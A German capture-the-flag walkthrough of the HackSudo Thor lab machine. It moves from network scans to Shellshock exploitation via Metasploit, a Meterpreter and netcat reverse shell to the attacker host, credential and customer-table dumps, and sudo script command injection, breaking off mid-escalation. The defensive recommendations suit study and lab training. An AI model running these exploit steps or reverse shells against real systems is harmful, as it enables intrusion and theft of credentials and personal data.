Im ersten Schritt der Reconnaissance verwenden wir arp-scan
, um Hosts im lokalen Netzwerk zu entdecken.
Dies hilft uns, die IP-Adresse des Zielsystems zu identifizieren.
192.168.2.133 08:00:27:2a:e8:d6 PCS Systemtechnik GmbH
Hier sehen wir, dass die IP-Adresse 192.168.2.133
dem Host mit der MAC-Adresse 08:00:27:2a:e8:d6
zugeordnet ist.
Diese Information ist wichtig für die weitere Analyse.
**Empfehlung:** Es ist ratsam, statische ARP-Einträge zu verwenden, um ARP-Spoofing-Angriffe zu verhindern.
Als nächstes fügen wir einen Eintrag in die /etc/hosts
-Datei hinzu, um die IP-Adresse dem Hostnamen hacksudo.vuln
zuzuordnen.
Dies erleichtert die Arbeit mit dem Zielsystem, da wir den Hostnamen anstelle der IP-Adresse verwenden können.
192.168.2.133 hacksudo.vuln
Wir haben den Hostnamen hacksudo.vuln
erfolgreich der IP-Adresse 192.168.2.133
zugeordnet.
**Empfehlung:** Es ist wichtig, die /etc/hosts
-Datei regelmäßig zu überprüfen und zu sichern, um Manipulationen zu verhindern.
Nun verwenden wir nmap
, um die offenen Ports und Dienste auf dem Zielsystem zu scannen.
Der Befehl nmap -sS -sC -T5 -AO 192.168.2.133 -p-
führt einen SYN-Scan (-sS
), einen Standard-Skript-Scan (-sC
),
eine aggressive Timing-Vorlage (-T5
), eine Betriebssystem- und Dienstversionserkennung (-AO
) und einen Port-Scan aller 65535 Ports (-p-
) durch.
Anschließend filtern wir die Ausgabe mit grep open
, um nur die offenen Ports anzuzeigen.
21/tcp open ftp Pure-FTPd 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Wir haben festgestellt, dass die Ports 21 (FTP), 22 (SSH) und 80 (HTTP) auf dem Zielsystem offen sind.
Dies sind interessante Angriffspunkte, die wir in den nächsten Schritten genauer untersuchen werden.
**Empfehlung:** Es ist ratsam, unnötige Dienste zu deaktivieren und dieFirewall-Regeln zu überprüfen, um den Angriffsvektor zu minimieren.
Um einen detaillierteren Scan durchzuführen und die genauen Versionen der laufenden Dienste zu ermitteln, führen wir den nmap
-Befehl ohne Filterung durch.
Dies liefert uns zusätzliche Informationen, die für die Ausnutzung von Schwachstellen relevant sein könnten.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-10 23:54 CEST Nmap scan report for HacksudoThor (192.168.2.133) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Pure-FTPd 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 3736603e26ae233fe18b5d18e7a7c7ce (RSA) | 256 349a57607d6670d5b5ff4796e0362375 (ECDSA) |_ 256 ae7deefe1dbc994d54453d6116f86c87 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:2A:E8:D6 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms HacksudoThor (192.168.2.133)
Dieser Scan liefert uns detailliertere Informationen über die laufenden Dienste und das Betriebssystem.
Wir sehen, dass es sich um ein Linux-System handelt, auf dem Apache 2.4.38, OpenSSH 7.9p1 und Pure-FTPd laufen.
**Empfehlung:** Es ist wichtig, die Software auf dem neuesten Stand zu halten, um bekannte Schwachstellen zu beheben.
Nachdem wir die grundlegenden Informationen über das Zielsystem gesammelt haben, konzentrieren wir uns auf die Webanwendung, die auf Port 80 läuft.
Wir verwenden nikto
, um nach potenziellen Schwachstellen und Konfigurationsfehlern zu suchen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.133 + Target Hostname: 192.168.2.133 + Target Port: 80 + Start Time: 2023-06-10 23:55:03 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /images/: Directory indexing found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /README.md: Readme Found. + 8909 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2023-06-10 23:55:16 (GMT2) (13 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
nikto
hat mehrere interessante Ergebnisse gefunden:
* Das X-Frame-Options
Header fehlt, was Clickjacking-Angriffe ermöglichen könnte.
* Das X-Content-Type-Options
Header fehlt, was zu MIME-Sniffing-Angriffen führen könnte.
* Die Apache-Version ist veraltet.
* Directory indexing ist für das Verzeichnis /images/
aktiviert.
* Die Datei /icons/README
ist vorhanden, was Informationen über die Apache-Konfiguration preisgeben könnte.
* Die Datei /README.md
wurde gefunden.
**Empfehlung:** Die fehlenden Header sollten konfiguriert, die Apache-Version aktualisiert und Directory indexing deaktiviert werden.
Um weitere Verzeichnisse und Dateien auf dem Webserver zu finden, verwenden wir gobuster
.
Der Befehl gobuster dir -u http://192.168.2.133 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
durchsucht den Webserver nach Verzeichnissen und Dateien mit verschiedenen Dateiendungen (-x
) mithilfe einer Wortliste (-w
).
Die Option -b '403,404'
blendet Fehlerseiten aus, und -e
fügt eine Dateiendung an die gefundenen Verzeichnisse an.
============================================================================================================================== http://192.168.2.133/index.php (Status: 200) [Size: 5357] http://192.168.2.133/images (Status: 301) [Size: 315] [--> http://192.168.2.133/images/] http://192.168.2.133/news.php (Status: 200) [Size: 8062] http://192.168.2.133/contact.php (Status: 200) [Size: 4164] http://192.168.2.133/home.php (Status: 200) [Size: 5345] http://192.168.2.133/header.php (Status: 200) [Size: 472] http://192.168.2.133/connect.php (Status: 200) [Size: 0] http://192.168.2.133/navbar.php (Status: 200) [Size: 1515] http://192.168.2.133/fonts (Status: 301) [Size: 314] [--> http://192.168.2.133/fonts/] http://192.168.2.133/transactions.php (Status: 302) [Size: 8163] [--> home.php] http://192.168.2.133/customer_login_action.php ============================================================================================================================== http://192.168.2.133/index.php -- The Easter Egg Modal --> ============================================================================================================================== http://192.168.2.133/contact.php Contact Us Corporate Headquarters Corporate HQ hackudo Thor Bank 1985 Cedar Bridge Ave, Suite 3 Lakewood, NY 08701 General Contact Toll-Free: 888-968-6822 Phone: 732-367-5505 Fax: 732-367-2313 Email: vishal@hacksudo.com Customer Care (24x7) Toll-Free: 888-966-6992 Phone: 732-666-5555 Email: care@hacksudo.com Live Chat Download our app and live chat with our customer care ! App available on Google Play and iPhone-AppStore. -- cgi-bin ---
gobuster
hat mehrere interessante Dateien und Verzeichnisse gefunden, darunter:
* /index.php
, /news.php
, /contact.php
, /home.php
, /header.php
, /connect.php
, /navbar.php
* Das Verzeichnis /images/
* Die Datei /transactions.php
, die auf home.php
weiterleitet.
* Die Datei /customer_login_action.php
**Empfehlung:** Es ist wichtig, die gefundenen Dateien und Verzeichnisse genauer zu untersuchen, um potenzielle Schwachstellen zu identifizieren.
Um das Verzeichnis /cgi-bin/
zu untersuchen, verwenden wir dirsearch
.
Der Befehl dirsearch -u http://192.168.2.133
durchsucht den Webserver nach Verzeichnissen und Dateien.
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, txt, html, py, pub, js, wav, mp4, mp3, jpg, sh | HTTP method: GET | Threads: 30 | Wordlist size: 4715 Output File: /root/.dirsearch/reports/192.168.2.133/_23-06-11_00-40-51.txt Error Log: /root/.dirsearch/logs/errors-23-06-11_00-40-51.log Target: http://192.168.2.133/ [00:42:31] 200 - 4KB - /README.md [00:42:34] 302 - 7KB - /admin_home.php -> home.php [00:42:34] 200 - 1KB - /admin_login.php [00:42:38] 403 - 278B - /cgi-bin/ [00:42:39] 200 - 4KB - /contact.php [00:42:42] 301 - 314B - /fonts -> http://192.168.2.133/fonts/ [00:42:42] 200 - 472B - /header.php [00:42:43] 200 - 5KB - /home.php [00:42:43] 200 - 4KB - /images/ [00:42:43] 301 - 315B - /images -> http://192.168.2.133/images/ [00:42:43] 200 - 5KB - /index.php [00:42:44] 200 - 5KB - /index.php/login/ [00:42:47] 200 - 8KB - /news.php
dirsearch
hat zusätzliche Informationen geliefert, darunter:
* Die Datei /README.md
wurde erneut gefunden.
* Die Datei /admin_home.php
leitet auf home.php
weiter.
* Die Datei /admin_login.php
wurde gefunden.
* Der Zugriff auf das Verzeichnis /cgi-bin/
ist verboten (403).
**Empfehlung:** Es ist ratsam, die /admin_login.php
-Seite genauer zu untersuchen, um potenzielle Sicherheitslücken zu finden.
Um das Verzeichnis /cgi-bin/
genauer zu untersuchen, verwenden wir dirsearch
erneut, diesmal mit dem spezifischen Ziel http://192.168.2.133/cgi-bin/
.
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /root/.dirsearch/reports/192.168.2.133/-cgi-bin-_23-06-11_00-43-28.txt Error Log: /root/.dirsearch/logs/errors-23-06-11_00-43-28.log Target: http://192.168.2.133/cgi-bin/ [00:43:52] 500 - 611B - /cgi-bin/shell.sh Task Completed
dirsearch
hat die Datei /cgi-bin/shell.sh
gefunden, die einen Internal Server Error (500) zurückgibt.
Dies deutet darauf hin, dass die Datei vorhanden ist, aber möglicherweise nicht korrekt konfiguriert ist.
**Empfehlung:** Es ist ratsam, die Konfiguration der Datei /cgi-bin/shell.sh
zu überprüfen und sicherzustellen, dass sie korrekt ausgeführt werden kann.
Um den Inhalt der Datei /cgi-bin/shell.sh
abzurufen, verwenden wir curl
.
500 Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. ... ..
Der Server gibt weiterhin einen Internal Server Error (500) zurück, was bestätigt, dass die Datei nicht korrekt ausgeführt werden kann.
**Empfehlung:** Es ist ratsam, die Fehlerprotokolle des Webservers zu überprüfen, um die Ursache des Fehlers zu ermitteln.
Wir versuchen, die Datei /cgi-bin/readme.md
abzurufen, um weitere Informationen zu erhalten.
..... .... ... ..
Wir versuchen, die Datei /net_banking.sql
abzurufen, um weitere Informationen zu erhalten.
However some important usernames and passwords are provided below : * Username of admin is "admin" & password is "password123". * Username of most of the customers is their "first_name" & password is their "first_name" followed by "123".
Die Datei /net_banking.sql
enthält Anmeldeinformationen, darunter den Benutzernamen "admin" und das Passwort "password123".
Dies ist eine kritische Sicherheitslücke, da Angreifer diese Anmeldeinformationen verwenden könnten, um auf administrative Funktionen zuzugreifen.
**Empfehlung:** Die Anmeldeinformationen sollten sofort geändert und die Datei /net_banking.sql
entfernt oder gesichert werden.
Wir haben die Anmeldeinformationen für den Administrator gefunden. Jetzt werden wir Metasploit verwenden, um die ShellShock-Schwachstelle auszunutzen.
, , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v6.3.16-dev ] + -- --=[ 2315 exploits - 1208 auxiliary - 412 post ] + -- --=[ 975 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ]
Wir suchen nach Shellshock-Exploits in Metasploit.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/http/advantech_switch_bash_env_exec 2015-12-01 excellent Yes Advantech Switch Bash Environment Variable Code Injection (Shellshock) 1 exploit/multi/http/apache_mod_cgi_bash_env_exec 2014-09-24 excellent Yes Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) 2 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner 3 exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent Yes CUPS Filter Bash Environment Variable Code Injection (Shellshock) 4 auxiliary/server/dhclient_bash_env 2014-09-24 normal No DHCP Client Bash Environment Variable Code Injection (Shellshock) 5 exploit/unix/dhcp/bash_environment 2014-09-24 excellent No Dhclient Bash Environment Variable Injection (Shellshock) 6 exploit/linux/http/ipfire_bashbug_exec 2014-09-29 excellent Yes IPFire Bash Environment Variable Injection (Shellshock) 7 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution 8 exploit/osx/local/vmware_bash_function_root 2014-09-24 normal Yes OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock) 9 exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Yes Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock) 10 exploit/unix/smtp/qmail_bash_env_exec 2014-09-24 normal No Qmail SMTP Bash Environment Variable Injection (Shellshock) 11 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/misc/xdh_x_exec
Wir verwenden den Exploit exploit/multi/http/apache_mod_cgi_bash_env_exec
.
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
Wir zeigen die Optionen für den Exploit an.
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD_MAX_LENGTH 2048 yes CMD max line length CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPATH /bin yes Target PATH for binaries used by the CmdStager RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI yes Path to CGI script TIMEOUT 5 yes HTTP read response timeout (seconds) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.127 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Linux x86
Wir konfigurieren den Exploit. Zuerst setzen wir `LHOST` auf unsere Kali-Linux-IP-Adresse (192.168.2.127). Dies ist die Adresse, auf der Metasploit auf die Reverse-Shell wartet. Die Option "eth0" ist hier nicht gültig und führt zu einer Fehlermeldung, daher verwenden wir direkt die IP-Adresse.
[-] The following options failed to validate: Value 'eth0' is not valid for option 'LHOST'. LHOST => 192.168.2.127
Wir konfigurieren den Exploit. Wir setzen `LHOST` auf unsere Kali-Linux-IP-Adresse (192.168.2.127). Dies ist die Adresse, auf der Metasploit auf die Reverse-Shell wartet.
LHOST => 192.168.2.127
Als Nächstes setzen wir `LPORT` auf 4444. Dies ist der Port, auf dem Metasploit auf die Verbindung wartet.
lport => 4444
Wir setzen `TARGETURI` auf `/cgi-bin/shell.sh`. Dies ist der Pfad zu dem CGI-Skript, das wir ausnutzen wollen.
TARGETURI => /cgi-bin/shell.sh
Wir setzen `RHOSTS` auf die IP-Adresse des Zielsystems (192.168.2.133).
rhosts => 192.168.2.133
Jetzt führen wir den Exploit aus.
[*] Started reverse TCP handler on 192.168.2.127:4444 [*] Command Stager progress - 100.46% done (1097/1092 bytes) [*] Sending stage (1017704 bytes) to 192.168.2.133 [*] Meterpreter session 1 opened (192.168.2.127:4444 -> 192.168.2.133:50326) at 2023-06-11 00:59:33 +0200
Der Exploit war erfolgreich! Wir haben eine Meterpreter-Session auf dem Zielsystem erhalten.
Um eine interaktive Shell zu erhalten, verwenden wir den Befehl `shell`.
Process 4624 created. Channel 1 created.
Wir verwenden `nc` (netcat), um eine Reverse-Shell zu erstellen, die stabiler ist als die Meterpreter-Shell. Zuerst starten wir einen Listener auf unserem Kali-System auf Port 9001.
listening on [any] 9001 ...
In der Meterpreter-Shell führen wir den Befehl aus, um eine Reverse-Shell zu unserem Kali-System zu senden.
Wir haben eine Verbindung von dem Zielsystem auf Port 9001 erhalten.
listening on [any] 9001 ... connect to [192.168.2.127] from (UNKNOWN) [192.168.2.133] 38440 bash: cannot set terminal process group (500): Inappropriate ioctl for device bash: no job control in this shell bash-4.3$
Wir haben eine interaktive Shell als Benutzer `www-data` erhalten. Die Meldungen "cannot set terminal process group" und "no job control in this shell" sind typisch für einfache Reverse-Shells und beeinträchtigen die Funktionalität nur geringfügig.
Wir listen den Inhalt des aktuellen Verzeichnisses auf.
backup.cgi shell.sh vishal.sh
Wir listen den Inhalt des aktuellen Verzeichnisses mit detaillierten Informationen auf.
total 20 drwxr-xr-x 2 root root 4096 Jul 30 2021 . drwxr-xr-x 57 root root 4096 Jun 14 2021 .. -rwx--xr-x 1 root root 102 Jun 12 2021 backup.cgi -rwx--xr-x 1 root root 102 Jun 12 2021 shell.sh -rwxr-xr-x 1 root root 73 Jun 12 2021 vishal.sh
Wir sehen, dass die Dateien `backup.cgi`, `shell.sh` und `vishal.sh` vorhanden sind.
Wir lesen den Inhalt von `backup.cgi`.
#!/bin/bash echo “Content-type: text/plain” echo echo
`backup.cgi` scheint ein einfaches CGI-Skript zu sein.
Nachdem wir initialen Zugriff auf das System als Benutzer `www-data` erlangt haben, ist unser nächstes Ziel, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten. Dies ist ein entscheidender Schritt, um das System vollständig zu kompromittieren.
Wir überprüfen, welche `sudo`-Rechte der aktuelle Benutzer (`www-data`) hat. Dies gibt uns Aufschluss darüber, welche Befehle wir ohne Passwort als andere Benutzer ausführen dürfen.
Matching Defaults entries for www-data on HackSudoThor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on HackSudoThor: (thor) NOPASSWD: /home/thor/./hammer.sh
Interessanterweise darf der Benutzer `www-data` das Skript `/home/thor/./hammer.sh` als Benutzer `thor` ohne Passwort ausführen. Dies ist eine potenzielle Möglichkeit zur Privilegienerweiterung.
Wir führen das Skript `/home/thor/./hammer.sh` als Benutzer `thor` aus.
HELLO want to talk to Thor? Enter Thor Secret Key : id Hey Dear ! I am id , Please enter your Secret massage : whoami thor Thank you for your precious time!
Das Skript scheint eine Art interaktives Programm zu sein, das nach einem "Secret Key" fragt und dann eine Nachricht entgegennimmt. Wir haben `id` als Secret Key und `whoami` als Nachricht eingegeben. Das Ergebnis ist, dass der Benutzer, unter dem wir den Befehl ausgeführt haben (thor), ausgegeben wird.
Um weitere Möglichkeiten zur Privilegienerweiterung zu finden, suchen wir nach SUID-Dateien (Set User ID) auf dem System. SUID-Dateien werden mit den Rechten des Dateibesitzers ausgeführt, unabhängig davon, welcher Benutzer sie ausführt. Dies kann ausgenutzt werden, um Root-Rechte zu erlangen, wenn eine SUID-Datei einem Root gehört.
265563 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 279197 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 265710 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 266015 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 262180 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 262179 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 262182 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 262183 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 266013 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 269099 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 526885 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 269009 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
Die Liste der SUID-Dateien ist ziemlich umfangreich. `sudo` und `su` sind besonders interessant, aber oft schwer auszunutzen, da sie in der Regel gut gesichert sind.
Wir suchen auch nach Dateien, denen Capabilities zugewiesen sind. Capabilities sind eine feinere Möglichkeit, Privilegien zu verwalten als SUID-Bits.
/usr/bin/ping = cap_net_raw+ep
Die Datei `/usr/bin/ping` hat die Capability `cap_net_raw+ep`. Dies ermöglicht es dem Benutzer, Raw-Sockets zu erstellen, was normalerweise Root-Rechte erfordert. Allerdings ist dies in diesem Fall nicht direkt für eine Privilegienerweiterung ausnutzbar.
Wir lesen den Inhalt der Datei `config.php`, um möglicherweise Anmeldeinformationen oder andere interessante Informationen zu finden.
/* Define username and password */ $Username = 'admin'; $Password = '$2y$12$Grqes5Qu2gIUkW4w4juW8.PjqAO6IeD3B0o8kAXPSwmtj.da525Tq';
Wir finden einen Benutzernamen `admin` und ein gehashtes Passwort. Dieses Passwort ist ein bcrypt-Hash und kann möglicherweise mit Brute-Force-Techniken geknackt werden. Allerdings ist dies zeitaufwendig und möglicherweise nicht der schnellste Weg, um Root-Zugriff zu erhalten.
Wir überprüfen die laufenden Dienste auf dem System.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 9 0.0.0.0:21 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 128 *:80 *:* LISTEN 0 9 [::]:21 [::]:* LISTEN 0 128 [::]:22 [::]:*
Wir sehen, dass MySQL auf Port 3306 (nur lokal), FTP auf Port 21, SSH auf Port 22 und HTTP auf Port 80 laufen.
Wir untersuchen das `/home/` Verzeichnis.
total 12 drwxr-xr-x 3 root root 4096 Aug 2 2021 . drwxr-xr-x 18 root root 4096 Jul 29 2021 .. drwxrwx--- 5 thor thor 4096 Aug 2 2021 thor
Wir sehen, dass es ein Benutzerverzeichnis `/home/thor/` gibt.
Wir lesen den Inhalt von `connect.php`, um Datenbank-Anmeldeinformationen zu finden.
$servername = "localhost"; // Enter your MySQL username below(default=root) $username = "thor"; // Enter your MySQL password below $password = "password"; $dbname = "hacksudo";
Wir haben die Datenbank-Anmeldeinformationen für den Benutzer `thor` gefunden: Benutzername ist `thor` und Passwort ist `password`.
Wir verbinden uns mit der MySQL-Datenbank als Benutzer `thor`.
Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 221219 Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
Wir wählen die Datenbank `hacksudo` aus.
Wir wählen alle Daten aus der Tabelle `admin` aus.
+----+-------+-------------+ | id | uname | pwd | +----+-------+-------------+ | 1 | admin | password123 | +----+-------+-------------+ 1 row in set (0.000 sec)
Wir bestätigen, dass die Anmeldeinformationen für den Administrator in der Datenbank gespeichert sind: Benutzername ist `admin` und Passwort ist `password123`.
Wir wählen alle Daten aus der Tabelle `customer` aus.
+---------+------------+------------+--------+------------+-----------+------------------------+----------------+--------------------------------------------------------------------------+---------+------------+------+---------+-----------+ | cust_id | first_name | last_name | gender | dob | aadhar_no | email | phone_no | address | branch | account_no | pin | uname | pwd | +---------+------------+------------+--------+------------+-----------+------------------------+----------------+--------------------------------------------------------------------------+---------+------------+------+---------+-----------+ | 1 | Nafees | Zakee | male | 1994-11-28 | 123456789 | zakee.nafees@gmail.com | +91 8918722499 | 22/10, Secondary Road, Durgapur - 713204 | delhi | 1122334455 | 1234 | zakee94 | nafees123 | | 2 | Md Salman | Ali | male | 1994-10-11 | 987654321 | ali.salman@gmail.com | +966 895432167 | Al Ahsa Street Malaz, King Abdulaziz Rd, Alamal Dist. RIYADH 12643-2121. | riyadh | 1133557788 | 1234 | salman | salman123 | | 3 | Tushar | Kr. Pandey | male | 1995-02-03 | 125656765 | tusharpkt@gmail.com | +334 123456987 | Champ de Mars, 5 Avenue Anatole France, 75007 Paris, France | paris | 1122338457 | 1357 | tushar | tushar123 | | 4 | Jon | Snow | male | 1985-02-03 | 129156787 | jon.snow@gmail.com | +1 8918332797 | The Night Watch, King in the North, The North Remembers, Westeros. | newyork | 1233556739 | 1234 | jon | snow123 | +---------+------------+------------+--------+------------+-----------+------------------------+----------------+--------------------------------------------------------------------------+---------+------------+------+---------+-----------+ 4 rows in set (0.000 sec)
Wir sehen die Kundendaten mit Benutzernamen und Passwörtern. Diese Informationen könnten für weitere Angriffe verwendet werden.
Wir überprüfen die Berechtigungen der Datei `/etc/passwd`.
-rwxrw-r-- 1 root root 1487 Aug 2 2021 /etc/passwd
Die Datei `/etc/passwd` hat ungewöhnliche Berechtigungen. Sie ist für den Benutzer beschreibbar, was bedeutet, dass wir sie möglicherweise ändern könnten, um Root-Rechte zu erlangen. Dies ist jedoch riskant und kann das System beschädigen.
Wir geben den Kernel aus.
Linux HacksudoThor 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
Das System verwendet Kernel 4.19. Dies ist wichtig, um nach Kernel-Exploits zu suchen.
Wir führen das Skript `/home/thor/./hammer.sh` erneut aus, um zu sehen, ob wir es anders ausnutzen können.
HELLO want to talk to Thor? Enter Thor Secret Key : id Hey Dear ! I am id , Please enter your Secret massage : id uid=1001(thor) gid=1001(thor) groups=1001(thor) Thank you for your precious time!
Wir führen das Skript `/home/thor/./hammer.sh` erneut mit anderen Parametern aus.
HELLO want to talk to Thor? Enter Thor Secret Key : ls -la /home/thor Hey Dear ! I am ls -la /home/thor , Please enter your Secret massage : ls -la /home/thor total 508 drwxrwx--- 5 thor thor 4096 Aug 2 2021 . drwxr-xr-x 3 root root 4096 Aug 2 2021 .. -rw------- 1 thor thor 595 Aug 2 2021 .bash_history -rw-r--r-- 1 thor thor 220 Jul 29 2021 .bash_logout -rw-r--r-- 1 thor thor 3526 Jul 29 2021 .bashrc drwx------ 3 thor thor 4096 Jul 30 2021 .gnupg drwxr-xr-x 3 thor thor 4096 Jul 29 2021 .local -rw-r--r-- 1 thor thor 807 Jul 29 2021 .profile drwx------ 2 thor thor 4096 Aug 2 2021 .ssh -rw-r--r-- 1 thor thor 4 Aug 2 2021 file -rw-r--r-- 1 thor thor 26 Aug 2 2021 file.sh -rw-r--r-- 1 thor thor 10240 Jul 29 2021 hack.tar -rwxrwxrwx 1 root root 233 Jul 30 2021 hammer.sh -rw------- 1 thor thor 1876 Aug 2 2021 id_rsa -rw-r--r-- 1 thor thor 8 Aug 2 2021 ll -rwxr-xr-x 1 root root 445560 Aug 2 2021 tar -rw-r----- 1 thor thor 11 Jul 29 2021 user.txt
Wir haben die Ausgabe des Befehls `ls -la /home/thor` erhalten. Dies zeigt uns, dass die Datei `/home/thor/id_rsa` existiert. Dies ist ein privater SSH-Schlüssel, den wir möglicherweise verwenden können, um uns als Benutzer `thor` anzumelden.
Wir versuchen, den Inhalt der Datei `/home/thor/id_rsa` zu lesen.
